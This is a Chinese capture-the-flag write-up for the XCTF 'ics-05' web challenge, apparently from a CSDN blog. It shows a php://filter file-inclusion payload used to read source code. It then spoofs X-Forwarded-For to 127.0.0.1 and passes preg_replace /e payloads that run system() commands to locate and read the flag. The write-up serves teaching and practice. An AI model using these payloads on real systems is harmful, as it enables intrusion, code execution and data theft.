攻防世界web进阶区ics-05

打开链接
在这里插入图片描述看了看源代码,没发现啥,页面到处点点,只有设备维护中心可以进去
在这里插入图片描述
再点了一下云平台设备维护中心,发现url栏?page=index
在这里插入图片描述url栏看见page,考虑文件包含漏洞
读取index的源代码,参考大佬的wp,用php伪协议php://filter
payload:?page=php://filter/read=convert.base64-encode/resource=index.php
在这里插入图片描述
得到一段base64,解码
https://tool.chinaz.com/tools/base64.aspx
在这里插入图片描述`//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’) {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
}else{
    die();
}

}`

PHP 的 preg_replace()函数存在一个安全问题:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

url后/index.php?pat=/123/e&rep=system(“find±iname+flag”)&sub=123
bp抓包
将http头的X-Forwarded-For改为127.0.0.1
在这里插入图片描述

index.php?pat=/123/e&rep=system(“cd+./s3chahahaDir/flag%26%26ls”)&sub=123

在这里插入图片描述
index.php?pat=/123/e&rep=system(“cat+./s3chahahaDir/flag/flag.php”)&sub=123
在这里插入图片描述
得到了flag

知识点:文件包含读源码、x-forwarded-for
掌握正则表达式、伪协议读取源码
preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。

参考文章:https://www.cnblogs.com/gaonuoqi/p/11386346.html

2020.7.29 公瑾

猜你喜欢

转载自blog.csdn.net/gongjingege/article/details/107661481